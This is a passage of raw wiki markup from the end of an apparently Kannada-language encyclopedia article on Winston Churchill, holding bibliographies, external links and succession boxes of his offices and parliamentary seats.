ಕೂಂಬ್ಸ್, ಡೇವಿಡ್, ಆವೃತ್ತಿ. ''ಸರ್ ವಿನ್‍ಸ್ಟನ್ ಚರ್ಚಿಲ್: ಅವರ ವರ್ಣಚಿತ್ರಗಳ ಮೂಲಕ ಅವರ ಜೀವನ'' . ಮೇರಿ ಸೋಮೆಸ್‌ರಿಂದ ಮುಂದುವರೆಸಲ್ಪಟ್ಟಿತು. ಪೀಗಾಸಸ್, ೨೦೦೩. ಐಎಸ್‌ಬಿಎನ್ ೦-೭೬೨೪-೨೭೩೧-೦. [''ಸರ್ ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್‌ರ ಜೀವನ ಮತ್ತು ಅವರ ವರ್ಣಚಿತ್ರಗಳು'' ಮತ್ತು ''ಸರ್ ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್‌: ಅವರ ಜೀವನ ಮತ್ತು ವರ್ಣಚಿತ್ರ'' ಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಇತರ ಆವೃತ್ತಿಗಳು. ಇದು ಚರ್ಚಿಲ್‌ರಿಂದ ರಚಿಸಲ್ಪಟ್ಟ ಸರಿಸುಮಾರು 500–534 ವರ್ಣಚಿತ್ರಗಳನ್ನು ಒಳಗೊಳ್ಳುತ್ತವೆ.] *ಗಿಲ್ಬರ್ಟ್, ಮಾರ್ಟಿನ್. ''ಇನ್ ಸರ್ಚ್ ಆಫ್ ಚರ್ಚಿಲ್: ಒಬ್ಬ ಇತಿಹಾಸಕಾರನ ಪ್ರಯಾಣ'' (೧೯೯೪). [ಬಹು-ಆವೃತ್ತಿಯ ಬರಹವನ್ನು ಅನುಸರಿಸುವ ಎಡಿಟಿಂಗ್ ಬಗೆಗಿನ ಸ್ಮರಣೆಗಳು.] *–––, ed. ''ವಿನ್‌ಸ್ಟನ್ ಎಸ್. ಚರ್ಚಿಲ್ '' . ರಾಂಡೋಲ್ಫ್ ಚರ್ಚಿಲ್‌ರಿಂದ ಪ್ರಾರಂಭಿಸಲ್ಪಟ್ಟ ಒಂದು ೮ ಆವೃತ್ತಿಯ ಜೀವನಚರಿತ್ರೆ, ಇದು ಚರ್ಚಿಲ್‌ರಿಗೆ ಸಂಬಂಧಿಸಿದ ವಿಧ್ಯುಕ್ತ ಮತ್ತು ಅವಿಧ್ಯುಕ್ತ ದಾಖಲೆಗಳ ಸಂಬಂಧಿತ ೧೫ ಆವೃತ್ತಿಗಳ ಮೂಲಕ ಬೆಂಬಲಿಸಲ್ಪಟ್ಟಿತು. ೧೯೬೬– :I. ಯುತ್, ೧೮೭೪–೧೯೦೦ (೨ ಆವೃತಿಗಳು., ೧೯೬೬); ::II. ಯಂಗ್ ಸ್ಟೇಟ್ಸ್‌ಮ್ಯಾನ್, ೧೯೦೧–೧೯೧೪ (೩ ಆವೃತ್ತಿಗಳು., ೧೯೬೭); :::III. ದ ಚಾಲೆಂಜ್ ಆಫ್ ವಾರ್, ೧೯೧೪–೧೯೧೬ (೩ ಆವೃತ್ತಿಗಳು., ೧೯೭೩). ಐಎಸ್‌ಬಿಎನ್ ೦-೩೯೫-೧೬೯೭೪-೭ (೧೦) ಮತ್ತು ಐಎಸ್‌ಬಿಎನ್ ೯೭೮-೦-೩೯೫-೧೬೯೭೪-೨ (೧೩); ::::IV. ದ ಸ್ಟ್ರೈಕನ್ ವರ್ಲ್ಡ್, ೧೯೧೬–೧೯೨೨ (೨ ಆವೃತ್ತಿಗಳು., ೧೯೭೫); :::::V. ದ ಪ್ರೊಫೆಟ್ ಆಫ್ ಟ್ರುತ್, ೧೯೨೩–೧೯೩೯ (೩ ಆವೃತ್ತಿಗಳು., ೧೯೭೭); ::::::VI. ಫೈನೆಸ್ಟ್ ಅವರ್, ೧೯೩೯–೧೯೪೧: ''ದ ಚರ್ಚಿಲ್ ವಾರ್ ಪೇಪರ್ಸ್'' (೨ ಆವೃತ್ತಿಗಳು., ೧೯೮೩); :::::::VII. ರೋಡ್ ಟು ವಿಕ್ಟರಿ, ೧೯೪೧–೧೯೪೫ (೪ ಆವೃತ್ತಿಗಳು., ೧೯೮೬); ::::::::VIII. ನೆವರ್ ಡಿಸ್ಪೇರ್, ೧೯೪೫–೧೯೬೫ (೩ ಆವೃತ್ತಿಗಳು., ೧೯೮೮). *ಜೇಮ್ಸ್, ರಾಬರ್ಟ್ ರೋಡ್ಸ್, ಆವೃತ್ತಿ. ''ವಿನ್‌ಸ್ಟನ್ ಎಸ್. ಚರ್ಚಿಲ್: ಅವರ ಸಂಪೂರ್ಣ ಭಾಷಣಗಳು, ೧೮೯೭–೧೯೬೩'' . ೮ ಆವೃತಿಗಳು. ಲಂಡನ್: ಚೆಲ್ಸಿಯಾ, ೧೯೭೪. *ನೊವೆಲ್ಸ್, ಎಲಿಜಬೆತ್. ''ಇಪ್ಪತ್ತನೆಯ ಶತಮಾನದ ಉಲ್ಲೇಖಗಳ ಆಕ್ಸ್‌ಫರ್ಡ್ ಡಿಕ್ಷನರಿ'' . ಆಕ್ಸ್‍ಫರ್ಡ್ ಎಂಜಿನಿಯರಿಂಗ್.: ಆಕ್ಸ್‌ಫರ್ಡ್ ಯುನಿವರ್ಸಿಟಿ ಮುದ್ರಣಾಲಯ, ೧೯೯೯. ಐಎಸ್‌ಬಿಎನ್ ೦-೧೯-೮೬೦೧೦೩-೪. ಐಎಸ್‌ಬಿಎನ್ ೯೭೮-೦-೧೯-೮೬೦೧೦೩-೬. ಐಎಸ್‌ಬಿಎನ್ ೦-೧೯-೮೬೬೨೫೦-೫. ಐಎಸ್‌ಬಿಎನ್ ೯೭೮-೦-೧೯-೮೬೬೨೫೦-೧. *ಲೊಯೆವೆನ್‌ಹೈಮ್, ಫ್ರಾನ್ಸಿಸ್ ಎಲ್. ಮತ್ತು ಹ್ಯಾರೋಲ್ಡ್ ಡಿ. ಲ್ಯಾಂಗ್ಲೇಯ್, ಆವೃತ್ತಿಗಳು; ''ರೂಸ್‌ವೆಲ್ಟ್ ಮತ್ತು ಚರ್ಚಿಲ್: ಅವರ ಯುದ್ಧದ ಸಮಯದ ಗುಪ್ತ ಸಂಭಾಷಣೆಗಳು'' {{Refend}} ===ದ್ವಿತೀಯ ಮೂಲಗಳು=== {{Refbegin|2}} *{{cite book|last=Beschloss|first=Michael R.|authorlink=Michael Beschloss|title=The Conquerors: Roosevelt, Truman and the Destruction of Hitler's Germany, 1941–1945|publisher=[[Simon & Schuster]]|location=New York|year=2002|isbn=9780684810270|oclc=50315054}} *{{cite book|last=Best|first=Geoffrey|title=Churchill: A Study in Greatness|publisher=[[Oxford University Press]]|location=Oxford|year=2003|isbn=9781852852535|oclc=50339762|origyear=First published 2001}} *{{cite book|last=Blake|first=Robert|authorlink=Robert Blake, Baron Blake|title=Winston Churchill. Pocket Biographies|publisher=[[The History Press|Sutton Publishing]]|location=[[Stroud, Gloucestershire|Stroud]]|year=1997|isbn=9780750915076|oclc=59586004}} *{{cite book|editor1-first=Robert|editor1-last=Blake|editor1-link=Robert Blake, Baron Blake|editor2-first=William Roger|editor2-last=Louis|editor2-link=William Roger Louis|title=Churchill: A Major New Reassessment of His Life in Peace and War|publisher=[[Oxford University Press]]|location=Oxford|year=1992|isbn=9780192823175|oclc=30029512}} *{{cite book|last=Browne|first=Anthony Montague|title=Long sunset : memoirs of Winston Churchill's last private secretary|publisher=[[Orion Publishing Group|Cassell]]|location=London|year=1995|isbn=9780304344789|oclc=32547047}} *{{cite book|last=Charmley|first=John|authorlink=John Charmley|title=Churchill, The End of Glory: A Political Biography|publisher=[[Hodder & Stoughton]]|location=London|year=1993|isbn=9780151178810|oclc=440131865}} *{{cite book|last=Charmley|first=John|authorlink=John Charmley|title=Churchill's Grand Alliance: The Anglo-American Special Relationship 1940–57|publisher=[[Hodder & Stoughton]]|location=London|year=1996|isbn=9780340597606|oclc=247165348}} *ಡೇವಿಸ್, ರಿಚರ್ಡ್ ಹಾರ್ಡಿಂಗ್. ''ರಿಯಲ್ ಸೋಲ್ಜರ್ಸ್ ಅಫ್ ಫಾರ್ಚೂನ್'' (೧೯೦೬). ಮುಂಚಿನ ಜೀವನ ವೃತ್ತಾಂತ. ಪ್ರೊಜೆಕ್ಟ್ ಗ್ಯುಟೆನ್‌ಬರ್ಗ್ [http://www.gutenberg.org/etext/3029 ಎಟೆಕ್ಸ್ಟ್], ವಿಕೊಸೋರ್ಸ್ ಹಿಯರ್ {{cite web|url=http://en.wikisource.org/wiki/Real_Soldiers_of_Fortune/Chapter_3|title=Real Soldiers of Fortune/Chapter 3 – Wikisource|publisher=En.wikisource.org|date=20 October 2007|accessdate=9 August 2009}} *{{cite book|last=D'Este|first=Carlo|authorlink=Carlo D'Este|coauthors=|editor=|others=|title=Warlord : a life of Winston Churchill at war, 1874–1945|origdate=|origyear=|origmonth=|url=http://lccn.loc.gov/2008009272|accessdate=26 November 2008|edition=1st|series=|date=|year=2008|month=|publisher=Harper|location=New York|language=|isbn=9780060575731 }} *ಗಿಲ್‌ಬರ್ಟ್, ಮಾರ್ಟೀನ್. ''ಚರ್ಚಿಲ್: ಎ ಲೈಫ್ (ಒಂದು ಜೀವನ)'' (೧೯೯೨). ಐಎಸ್‌ಬಿಎನ್ ೦-೮೦೫೦-೨೩೯೬-೮. [8-ಆವೃತ್ತಿಯ ಜೀವನವೃತ್ತಂತದ ಒಂದು-ಘಟಕದ ಆವೃತ್ತಿ.] *ಹ್ಯಾಫ್‌ನರ್, ಸೆಬಾಸ್ಟಿಯನ್. ''ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್'' (೧೯೬೭). *ಹೇಸ್ಟಿಂಗ್ಸ್, ಮ್ಯಾಕ್ಸ್. ''ಉತ್ತಮ ವರ್ಷಗಳು: ಯುದ್ಧದ ಮುಖಂಡರಾಗಿ ಚರ್ಚಿಲ್, ೧೯೪೦–೪೫'' . ಲಂಡನ್, ಹಾರ್ಪರ್‌ಪ್ರೆಸ್, ೨೦೦೯. ಐಎಸ್‌ಬಿಎನ್ ೯೭೮೦೦೦೭೨೬೩೬೭೭ *ಹೆನ್ನೆಸ್ಸೇಯ್, ಪಿ. ''ಪ್ರಧಾನ ಮಂತ್ರಿ: ೧೯೪೫ ರಿಂದ ಆಫೀಸ್ ಮತ್ತು ಇದರ ಅಧಿಕಾರಿ '' (೨೦೦೧). *ಹಿಚೆನ್ಸ್‌, ಕ್ರಿಸ್ಟೋಫರ್‌. "ದ ಮೆಡಲ್ಸ್ ಆಫ್ ಹಿಸ್ ಡಿಫೀಟ್ಸ್", ''ದ ಅಟ್ಲಾಂಟಿಕ್ ಮಂಥ್ಲಿ'' (ಎಪ್ರಿಲ್ ೨೦೦೨). *ಜೇಮ್ಸ್, ರಾಬರ್ಟ್ ರೋಡ್ಸ್. ''ಚರ್ಚಿಲ್ : ಎ ಸ್ಟಡಿ ಇನ್ ಫೇಲ್ಯುರ್, ೧೯೦೦–೧೯೩೯'' (೧೯೭೦). *ಜೆಂಕಿನ್ಸ್, ರಾಯ್. ''ಚರ್ಚಿಲ್: ಒಂದು ಜೀವನವೃತ್ತಾಂತ'' (೨೦೦೧). *ಕೆರ್ಸೌಡಿ, ಫ್ರ್ಯಾಂಕೋಸಿಸ್. ''ಚರ್ಚಿಲ್ ಮತ್ತು ದೇ ಗೌಲ್ಲೆ'' (೧೯೮೧). ಐಎಸ್‌ಬಿಎನ್ ೦-೦೦-೨೧೬೩೨೮-೪. *ಕ್ರಾಕೋವ್, ಕ್ರಿಸ್ಛಿಯನ್. ''ಚರ್ಚಿಲ್: ಮ್ಯಾನ್ ಆಫ್ ದ ಸೆಂಚುರಿ (ಶತಮಾನದ ಮಾನವ)'' . [1900–1999]. ಐಎಸ್‌ಬಿಎನ್ ೧-೯೦೨೮೦೯-೪೩-೨ *ಲ್ಯುಕಾಸ್, ಜಾನ್. ''ಚರ್ಚಿಲ್: ದೂರದೃಷ್ಟಿತ್ವ, ಸ್ಟೇಟ್ಸ್‌ಮ್ಯಾನ್, ಇತಿಹಾಸಕಾರ'' . ನ್ಯೂ ಹ್ಯಾವೆನ್: ಯಾಲೆ ಯುನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್, ೨೦೦೨. *ಮ್ಯಾಂಚೆಸ್ಟರ್, ವಿಲಿಯಮ್. ''[[The Last Lion: Winston Spencer Churchill: Alone, 1932–1940]]'' (೧೯೮೮). ಐಎಸ್‌ಬಿಎನ್ ೦-೩೧೬-೫೪೫೧೨-೦. *–––. ''[[The Last Lion: Winston Spencer Churchill: Defender of the Realm, 1940-1965]]'' (೨೦೧೦). *–––. ''[[The Last Lion: Winston Spencer Churchill: Visions of Glory, 1874–1932]]'' (೧೯೮೩). ಐಎಸ್‌ಬಿಎನ್ ೦-೩೧೬-೫೪೫೦೩-೧. *ಮ್ಯಾಸಿ, ರಾಬರ್ಟ್. ''ಡ್ರೆಡ್‌ನಾಟ್: ಬ್ರಿಟನ್, ಜರ್ಮನಿ ಮತ್ತು ಬೃಹತ್ ಯುದ್ಧದ ಸಮೀಪಿಸುವಿಕೆ'' . ಐಎಸ್‌ಬಿಎನ್ ೧-೮೪೪೧೩-೫೨೮-೪). [40–41 ಚಾಪ್ಟರ್‌ಗಳು ಚರ್ಚಿಲ್‌ರ ಅಧಿಕಾರತ್ವವನ್ನು ವಿವರಿಸುತ್ತವೆ.] *ಪೆಲ್ಲಿಂಗ್, ಹೆನ್ರಿ. ''ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್'' (೧೯೭೪). ಐಎಸ್‌ಬಿಎನ್ ೧-೮೪೦೨೨-೨೧೮-೨. [ವಿಸ್ತೃತ ಜೀವನವೃತ್ತಾಂತ.] *ರೇಸರ್, ಯುಜೆನ್ ಎಲ್. ''ವಿನ್‌ಸ್ಟನ್ ಎಸ್. ಚರ್ಚಿಲ್, ೧೮೭೪–೧೯೬೫: ಒಂದು ವಿಸ್ತೃತ ಇತಿಹಾಸ ಚರಿತ್ರೆ ಮತ್ತು ವಿವರಣೆ ನೀಡಲ್ಪಟ್ಟ ಜೀವನ ವೃತ್ತಾಂತ.'' ಗ್ರೀನ್‌ವುಡ್‌ ಪ್ರೆಸ್‌‌, ೨೦೦೦. ಐಎಸ್‌ಬಿಎನ್ ೦-೩೧೩-೩೦೫೪೬-೩ [ದಾಖಲೆಗಳು ಹಲವಾರು ಸಾವಿರ ಪುಸ್ತಕಗಳು ಮತ್ತು ವಿದ್ವಾಂಸರ ಲೇಖನಗಳನ್ನು ಒಳಗೊಳ್ಳುತ್ತವೆ.] *ಸೋಮೆಸ್, ಮೇರಿ, ಆವೃತ್ತಿ. ''ಸ್ಪೀಕಿಂಗ್ ಫಾರ್ ದೆಮ್‌ಸೆಲ್ವಸ್: ವಿನ್‌ಸ್ಟನ್ ಮತ್ತು ಕ್ಲೆಮಂಟೈನ್ ಚರ್ಚಿಲ್‌ರ ವೈಯುಕ್ತಿಕ ಪತ್ರಗಳು'' (೧೯೯೮). *ಸ್ಟ್ಯಾನ್‌ಸ್ಕೈ, ಪೀಟರ್, ಅವೃತ್ತಿ. ''ಚರ್ಚಿಲ್: ಒಂದು ವ್ಯಕ್ತಿಚಿತ್ರ'' (೧೯೭೩) [ಪ್ರಮುಖ ವಿದ್ವಾಂಸರುಗಳಿಂದ ಚರ್ಚಿಲ್‌ರ ಬಗೆಗಿನ ದೃಷ್ಟಿಕೋನಗಳು] *ಸ್ಟಾರ್, ಆಂಥನಿ. ''ಚರ್ಚಿಲ್‌ರ ಬ್ಲ್ಯಾಕ್ ಡಾಗ್ ಮತ್ತು ಮಾನವ ಮನಸ್ಸಿನ ಇತರ ದೃಷ್ಟಾಂತಗಳು'' . ಹರ್ಪರ್ ಕೊಲೊನ್ಸ್ ಪಬ್ಲಿಷರ್ಸ್ ಲಿಮಿಟೆಡ್. ಹೊಸ ಆವೃತ್ತಿ, ೧೯೯೭. ಐಎಸ್‌ಬಿಎನ್ ೯೭೮೦೦೦೬೩೭೫೬೬೧ *ಟೊಯ್, ರಿಚರ್ಡ್. ''ಚರ್ಚಿಲ್‌ರ ಅಧಿಪತ್ಯ: ಅವರನ್ನು ನಿರ್ಮಿಸಿದ ಜಗತ್ತು ಮತ್ತು ಅವರು ನಿರ್ಮಿಸಿದ ಜಗತ್ತು'' . ಮ್ಯಾಕ್ ಮಿಲನ್. ೨೦೧೦. ಐಎಸ್‌ಬಿಎನ್ ೯೭೮೦೨೩೦೭೦೩೮೪೧ {{Refend}} ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು‌‌== {{Sister project links}} *ಪ್ರೊಜೆಕ್ಟ್ ಗ್ಯುಟೆನ್‌ಬರ್ಗ್‌ನಲ್ಲಿ [http://www.gutenberg.org/browse/authors/c#a1601 ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್‌ರ ಕಾರ್ಯಗಳು ] *ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಕಾಲೇಜ್, ಮಿಸ್ಸೌರಿಯಲ್ಲಿ [http://www.churchillmemorial.org/ ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್ ಸ್ಮಾರಕ ಮತ್ತು ಗ್ರಂಥಾಲಯ] *[http://www.chu.cam.ac.uk/archives/churchill_papers/biography/churchill_chronology.php ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್‌ರ ಚರ್ಚಿಲ್ ಕಾಲೇಜ್ ಬಯಾಗ್ರಫಿ] *[http://www.mises.org/story/1450 ದ ರಿಯಲ್ ಚರ್ಚಿಲ್] (ವಿಮರ್ಶಾತ್ಮಕ) ಮತ್ತು ಒಂದು ಖಂಡನ *[https://web.archive.org/web/20070912233119/http://www.ವಿನ್‌ಸ್ಟನ್ಚರ್ಚಿಲ್‌.org/i4a/pages/index.cfm?pageid=892&amp;textonly=1 A Rebuttal to "The Real ಚರ್ಚಿಲ್‌"] *[http://www.savrola.co.uk/bactable.php?sorted=author&amp;category=A ಚರ್ಚಿಲ್‌ರ ಬಗೆಗಿನ ಆನ್‍ಲೈನ್ ಬಯಾಗ್ರಫಿ ಪುಸ್ತಕಗಳು] {{Webarchive|url=https://archive.today/20121223132002/http://www.savrola.co.uk/bactable.php?sorted=author&category=A |date=2012-12-23 }} *[http://www.museumsyndicate.com/artist.php?artist=667 ಚರ್ಚಿಲ್‌ರ ಹಲವಾರು ತೈಲಚಿತ್ರಗಳ ಆನ್‌ಲೈನ್ ಸಂಗ್ರಹಗಳು] *[http://www.nationalarchives.gov.uk/search/quick_search.aspx?c=CATEGORY%3a4%3aLaw+%26+order+(3)%3aC10017%3a&amp;queryText=churchhill&amp;searchtext=churchhill&amp;queryType=ALL&amp;ShowAllCategories=0 ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್‌ನ ದ ನ್ಯಾಷನಲ್ ಆರ್ಕೈವ್ಸ್‌ನಲ್ಲಿ ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್‌ರ ಬಗೆಗಿನ ದಾಖಲೆಗಳು] *[http://historicalpodcasts.googlepages.com/winstonchurchill ಚರ್ಚಿಲ್ ಪಾಡ್‌ಕ್ಯಾಸ್ಟ್ ಮತ್ತು ಭಾಷಣಗಳ ಸಂಗ್ರಹ] *[http://www.winstonchurchill.org/ ದ ಚರ್ಚಿಲ್ ಸೆಂಟರ್ ವೆಬ್‌ಸೈಟ್] *''[http://www.loc.gov/exhibits/churchill/interactive ಚರ್ಚಿಲ್ ಎಂಡ್ ದ ಗ್ರೇಟ್ ರಿಪಬ್ಲಿಕ್]'' ಪ್ರದರ್ಶನವು ಯುಎಸ್ ಜೊತೆಗೆ ಚರ್ಚಿಲ್‌ರ ಸಂಬಂಧವನ್ನು ವಿವರಿಸುತ್ತದೆ *''ವಾರ್ ಕ್ಯಾಬಿನೆಟ್ ಮಿನ್ಯುಟ್ಸ್'' [http://www.nationalarchives.gov.uk/documents/cab_195_1_transcript.pdf (1942)], [http://www.nationalarchives.gov.uk/documents/cab_195_2_transcript.pdf (1942–43)], [http://www.nationalarchives.gov.uk/documents/cab_195_3_transcript.pdf (1945–46)], [http://www.nationalarchives.gov.uk/documents/cab_195_4_transcript.pdf (1946)] *ಯು.ಕೆ. ಯ ನ್ಯಾಷನಲ್ ಆರ್ಕೈವ್ಸ್‌ನಲ್ಲಿ [http://www.nationalarchives.gov.uk/nra/searches/subjectView.asp?ID=P5659 ಚರ್ಚಿಲ್‌ರ ಪತ್ರವ್ಯವಹಾರದ ಸ್ಥಾನಗಳು ಮತ್ತು ಪೇಪರ್‌ಗಳು] *[http://www.iwm.org.uk/ ಇಂಪೀರಿಯಲ್ ವಾರ್ ಮ್ಯೂಸಿಯಮ್]: ಚರ್ಚಿಲ್ ಮ್ಯೂಸಿಯಮ್ ಮತ್ತು ಕ್ಯಾಬಿನೆಟ್ ವಾರ್ ರೂಮ್ಸ್. ಕ್ಯಾಬಿನೆಟ್ ರೂಮ್, ಮ್ಯಾಪ್ ರೂಮ್ ಮತ್ತು ಚರ್ಚಿಲ್‌ರ ಬೆಡ್‌ರೂಮ್, ಮತ್ತು ಚರ್ಚಿಲ್‌ರ ಜೀವನಕ್ಕಾಗಿ ಮುಡಿಪಾಗಿರಿಸಲ್ಪಟ್ಟ ಹೊಸ ಮ್ಯೂಸಿಯಮ್ ಅನ್ನು ಒಳಾಗೊಂಡಂತೆ ೧೯೪೫ ರಿಂದ ಸಂರಕ್ಷಿಸಿ ಇರಿಸಲ್ಪಟ್ಟ ಮೂಲ ಅಂಡರ್‌ಗ್ರೌಂಡ್ ವಾರ್ ರೂಮ್‌ಗಳನ್ನು ಒಳಗೊಳ್ಳುತ್ತದೆ. *[http://www.history.com/topics/winston-churchill ದ ಹಿಸ್ಟರಿ ಚಾನೆಲ್: ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್] ===ಭಾಷಣಗಳು=== *[http://www.earthstation1.com/churchil.html ಅರ್ತ್‌ಸ್ಟೇಷನ್1: ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್ ಸ್ಪೀಚ್ ಆಡಿಯೋ ಆರ್ಕೈವ್] *{{Hansard-contribs|mr-winston-churchill|Winston Churchill }} {{S-start}} {{s-off}} {{S-bef|before=[[Charles Spencer-Churchill, 9th Duke of Marlborough|The Duke of Marlborough]]}} {{s-ttl|title=[[Under-Secretary of State for the Colonies]]|years=1905–1908}} {{S-aft|after=[[J. E. B. Seely, 1st Baron Mottistone|Jack Seely]]}} {{S-bef|before=[[David Lloyd George]]}} {{s-ttl|title=[[President of the Board of Trade]]|years=1908–1910}} {{S-aft|after=[[Sydney Buxton]]}} {{S-bef|before=[[Herbert Gladstone, 1st Viscount Gladstone|Herbert Gladstone]]}} {{s-ttl|title=[[Secretary of State for the Home Department|Home Secretary]]|years=1910–1911}} {{S-aft|after=[[Reginald McKenna]]}} {{S-bef|before=[[Reginald McKenna]]}} {{s-ttl|title=[[First Lord of the Admiralty]]|years=1911–1915}} {{S-aft|after=[[Arthur Balfour]]}} {{S-bef|before=[[Edwin Samuel Montagu]]}} {{s-ttl|title=[[Chancellor of the Duchy of Lancaster]]|years=1915}} {{S-aft|after=[[Herbert Samuel, 1st Viscount Samuel|Herbert Samuel]]}} {{S-bef|before=[[Christopher Addison, 1st Viscount Addison|Christopher Addison]]}} {{s-ttl|title=[[Minister of Munitions]]|years=1917–1919}} {{S-aft|after=[[Andrew Weir, 1st Baron Inverforth|The Lord Inverforth]]}} {{S-bef|before=[[Alfred Milner, 1st Viscount Milner|The Viscount Milner]]}} {{s-ttl|title=[[Secretary of State for War]]|years=1919–1921}} {{S-aft|after=[[Laming Worthington-Evans|Sir Laming Worthington-Evans]]}} {{S-bef|before=[[William Weir, 1st Viscount Weir|The Lord Weir]]}} {{s-ttl|title=[[Secretary of State for Air]]|years=1919–1921}} {{S-aft|after=[[Frederick Edward Guest]]}} {{S-bef|before=[[Alfred Milner, 1st Viscount Milner|The Viscount Milner]]}} {{s-ttl|title=[[Secretary of State for the Colonies]]|years=1921–1922}} {{S-aft|after=[[Victor Cavendish, 9th Duke of Devonshire|The Duke of Devonshire]]}} {{S-bef|before=[[Philip Snowden, 1st Viscount Snowden|Philip Snowden]]}} {{s-ttl|title=[[Chancellor of the Exchequer]]|years=1924–1929}} {{S-aft|after=[[Philip Snowden, 1st Viscount Snowden|Philip Snowden]]}} {{S-bef|before=[[James Stanhope, 7th Earl Stanhope|The Earl Stanhope]]}} {{s-ttl|title=[[First Lord of the Admiralty]]|years=1939–1940}} {{S-aft|after=[[A. V. Alexander, 1st Earl Alexander of Hillsborough|A. V. Alexander]]}} {{S-bef|rows=2|before=[[Neville Chamberlain]]}} {{s-ttl|title=[[Leader of the House of Commons]]|years=1940–1942}} {{S-aft|after=[[Stafford Cripps|Sir Stafford Cripps]]}} {{s-ttl|title=[[Prime Minister of the United Kingdom]]|years=10 May 1940 – 27 July 1945}} {{S-aft|rows=3|after=[[Clement Attlee]]}} {{s-new}} {{s-ttl|title=[[Minister of Defence (UK)|Minister of Defence]]|years=1940–1945}} {{S-bef|rows=2|before=[[Clement Attlee]]}} {{s-ttl|title=[[Leader of the Opposition (UK)|Leader of the Opposition]]|years=1945–1951}} {{s-break}} {{s-ttl|title=[[Prime Minister of the United Kingdom]]|years=26 October 1951 – 7 April 1955}} {{S-aft|after=[[Anthony Eden|Sir Anthony Eden]]}} {{S-bef|before=[[Emanuel Shinwell]]}} {{s-ttl|title=[[Minister of Defence (UK)|Minister of Defence]]|years=1951–1952}} {{S-aft|after=[[Harold Alexander, 1st Earl Alexander of Tunis|The Earl Alexander of Tunis]]}} {{s-par|uk}} {{S-bef|before=[[Walter Runciman, 1st Viscount Runciman of Doxford|Walter Runciman]]<br />[[Alfred Emmott, 1st Baron Emmott|Alfred Emmott]]}} {{s-ttl|title=[[Member of Parliament]] for [[Oldham (UK Parliament constituency)|Oldham]]<br />{{small|with [[Alfred Emmott, 1st Baron Emmott|Alfred Emmott]]}}|years=[[United Kingdom general election, 1900|1900]]–[[United Kingdom general election, 1906|1906]]}} {{S-aft|after=[[John Albert Bright|John Bright]]<br />[[Alfred Emmott, 1st Baron Emmott|Alfred Emmott]]}} {{S-bef|before=[[William Houldsworth|Sir William Houldsworth]]}} {{s-ttl|title=[[Member of Parliament]] for [[Manchester North West (UK Parliament constituency)|Manchester North West]]|years=[[United Kingdom general election, 1906|1906]]–[[Manchester North West by-election, 1908|1908]]}} {{S-aft|after=[[William Joynson-Hicks, 1st Viscount Brentford|William Joynson-Hicks]]}} {{S-bef|before=[[Alexander Wilkie]]<br />[[Edmund Robertson, 1st Baron Lochee|Edmund Robertson]]}} {{s-ttl|title=[[Member of Parliament]] for [[Dundee (UK Parliament constituency)|Dundee]]<br />with [[Alexander Wilkie]]|years=[[Dundee by-election, 1908|1908]]–[[United Kingdom general election, 1922|1922]]}} {{S-aft|after=[[E. D. Morel|Edmund Morel]]<br />[[Edwin Scrymgeour]]}} {{S-bef|before=[[Leonard Lyle, 1st Baron Lyle of Westbourne|Sir Leonard Lyle]]}} {{s-ttl|title=[[Member of Parliament]] for [[Epping (UK Parliament constituency)|Epping]]|years=[[United Kingdom general election, 1924|1924]]–[[United Kingdom general election, 1945|1945]]}} {{S-aft|after=[[Leah Manning]]}} {{s-new|constituency}} {{s-ttl|title=[[Member of Parliament]] for [[Woodford (UK Parliament constituency)|Woodford]]|years=[[United Kingdom general election, 1945|1945]]–[[United Kingdom general election, 1964|1964]]}} {{S-aft|after=[[Patrick Jenkin, Baron Jenkin of Roding|Patrick Jenkin]]}} {{s-mil}} {{S-bef|before=J H Dutton}} {{s-ttl|title=Officer Commanding the 6th Battalion, [[Royal Scots Fusiliers]]|years=1915–1916}} {{S-aft|after=A D Gibb}} {{s-ppo}} {{S-bef|before=[[Neville Chamberlain]]}} {{s-ttl|title=[[Conservative Party (UK)|Leader of the British Conservative Party]]|years=1940–1955}} {{S-aft|after=[[Anthony Eden|Sir Anthony Eden]]}} {{s-aca}} {{s-break}} {{s-vac|unknown|unknlast=[[Herbert Henry Asquith]]}} {{s-ttl|title=[[Rector of the University of Aberdeen]]|years=1914–1918}} {{S-aft|after=[[Weetman Pearson, 1st Viscount Cowdray|The Viscount Cowdray]]}} {{S-bef|before=[[Sir John Gilmour, 2nd Baronet|Sir John Gilmour]]}} {{s-ttl|title=[[Rector of the University of Edinburgh]]|years=1929–1932}} {{S-aft|after=[[Ian Standish Monteith Hamilton]]}} {{S-bef|before=[[Richard Haldane, 1st Viscount Haldane|The Viscount Haldane]]}} {{s-ttl|title=[[University of Bristol|Chancellor of the University of Bristol]]|years=1929–1965}} {{S-aft|after=[[Henry Somerset, 10th Duke of Beaufort|The Duke of Beaufort]]}} {{S-hon}} {{S-bef|before=[[Freeman Freeman-Thomas, 1st Marquess of Willingdon|The Marquess of Willingdon]]}} {{s-ttl|title=[[Lord Warden of the Cinque Ports]]|years=1941–1965}} {{S-aft|after=[[Robert Menzies|Sir Robert Menzies]]}} {{S-bef|before=[[David Grenfell]]}} {{s-ttl|title=[[Father of the House]]|years=1959–1964}} {{S-aft|after=[[Rab Butler]]}} {{S-bef|before=[[David Logan (politician)|David Logan]]}} {{s-ttl|title=[[Records of members of parliament of the United Kingdom#List of oldest sitting MPs since 1945|Oldest sitting Member of Parliament]]|years=February 1964 – October 1964}} {{S-aft|after=[[Manny Shinwell]]}} {{S-end}} {{Cold War figures}} {{Persondata |NAME=Churchill, Winston |ALTERNATIVE NAMES=Sir Winston Leonard Spencer Churchill, The Rt Hon. Sir Winston Churchill |SHORT DESCRIPTION=English statesman and author, best known as [[Prime Minister of the United Kingdom]] |DATE OF BIRTH=30 November 1874 